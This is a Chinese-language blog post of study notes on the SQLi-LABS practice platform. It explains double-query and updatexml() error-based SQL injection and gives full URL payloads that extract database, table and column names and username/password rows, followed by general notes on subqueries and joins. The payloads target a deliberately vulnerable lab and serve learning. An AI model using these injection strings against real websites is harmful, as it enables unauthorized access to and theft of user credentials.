前言
最近开始用SQLi_LABS学习注入,刚开始有点摸不到头脑,索性把看到的知识点记录下来,很多细节是看别人博客学的,就直接给链接了,在此向这些作者们表示衷心的感谢。主要为了自己学习记录,如果能帮到别人当然就更好了。有大神发现有错误请不吝赐教,多谢!
我这种小白目前的水平有点难以产出自己的见解,也就不再复制粘贴转载一些大家互相copy的内容了。而且相同的SQLi_LABS平台,我自己做一遍,理论上跟别人做的也一样,就把宝贵的时间贡献给学习进步,不再截图。
几种可能的注入方式
1. Double Injection 双注入
原理:当在一个聚合函数后使用分组语句就可能会把查询的一部分以错误的形式显示出来。
有很多博客解释了产生这种问题的原因,直接搜索就能找到,我就不做搬运工了。
还有一种叫做派生表的双注入(没太细看)
涉及到的函数及语句:rand(), floor(), count(), group by, concat(), concat_ws()
固定公式:
?id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+
注入过程:
步骤1:检查注入点
无错:?id=1
、?id=1"
报错:?id=1'
可以知道存在注入且用单引号闭合参数。
步骤2:使用双查询获取数据库信息
(1)获取数据库
?id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+
注意:
上句并不是每次都能成功,id=1也可以成功。
?疑问:为什么这里的id值对结果没有影响(不需要是数据库不存在的值),是因为返回的都是报错信息而非实际查询的内容,所以不需要像less 1那样通过id=-1给后面腾位置?结合搜索到的说法,应该是我猜测的这样。
union操作符
两个查询返回的列数必须相同。
两个select语句对应列所返回的数据类型必须相同(或至少是兼容的)。通常利用联合查询的特点,使原查询左边为空,使我们定义的查询结果返回出来。
如该表共3个字段,界面显示第2、3个字段,我们便可以构造:
select * from users where id=-1 union select 1,2,3 from users
这里的2,3
可以换成任意想要的结果。
(2) 获取表名
`?id=-1' union select count(*),2,concat('*',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'*',floor(rand()*2))as a from information_schema.tables group by a--+`
(3)获取字段名
?id=-1' union select count(*),2,concat('*',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),'*',floor(rand()*2))as a from information_schema.tables group by a--+
注意:
这一语句第一次用的时候少了 table_schema=database()
这个条件,于是结果就完全不同了。页面返回信息如下:
Duplicate entry '*user_id,first_name,last_name,user,password,avatar,last_login,fa' for key ''
目前我还没想清为什么返回信息是这些。
(4)获取用户信息
?id=-1' union select count(*),2,concat('*',(select concat(id,username,password) from users limit 0,1),'*',floor(rand()*2))as a from information_schema.tables group by a--+
LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。LIMIT 接受一个
或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数
指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。初
始记录行的偏移量是 0(而不是 1)。为了与 PostgreSQL 兼容,MySQL 也支持句法: LIMIT # OFFSET #。
因此,要一个一个查询limit的第一个参数可以从0到查询完,第二个参数保持为1。
2. 报错注入
在CSDN博客看到一个讲利用updatexml()做报错注入的例子,有兴趣的同学可以去看一下。
1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
http://localhost/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) --+
注意:
这一语句第一次用的时候少了table_schema=database()
这个条件,于是结果就完全不同了。
1’ and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)%23
注意:
updatexml()这个函数最多只能获取32位字符,而我们要获取的数据超过了这个位数,所以一个一个的查,使用limit 0,1来实现。
3. 联合查询
与报错注入在同一篇里看的,说是比较难懂,建议把SQLi_LABS做完一遍后再用这种方法试试。但是感觉联合查询跟我们今天做的双注入是一样的。
4. 盲注
看过一篇讲盲注方法的博客,觉得过程太复杂了,也不是less 5标题指出的方法,所以看了个大概流程就过了。网址忘记了,如果有幸能找到再来补充。
补充的相关知识点
几种查询方式:
-
双查询:网页一般的搜索结果均为双查询注入,即less 5的双注入方式。也有人解释说是子查询语句。(我觉得很有可能理解的不对==,请懂行的同学指导指导)
-
子查询:是一种SELECT-SQL语言中嵌套查询下层的程序模块。当一个查询是另一个查询的条件时,称之为子查询。子查询“必须包括在一组括号中”,以便将它与外部查询分开。 效率低。
有4种子查询:
- 带比较运算符的子查询
- IN子查询:在嵌套查询中,子查询的结构往往是一个集合,所以谓词 IN是嵌套查询中最经常使用的谓词。
- ANY子查询:返回多值,用ANY(SOME)或ALL。
- EXISTS子查询:在 true/false 比较中使用 EXISTS 谓词(与可选的 NOT 保留字一道)来决定子查询是否会返回任何记录。
子查询的输出可以包括一个单独的值(单行子查询)、几行值(多行子查询)、或者多列数据(多列子查询)。
子查询的查询条件不依赖于父查询,称为不相关子查询。如果子查询的查询条件依赖于父查询,这类子查询称为相关子查询,整个查询语句称为相关嵌套语句。
-
联合查询:效率高。
有4种联合查询:
- 内联inner join
- 左联left outer join
- 右联right outer join
- 全联full outer join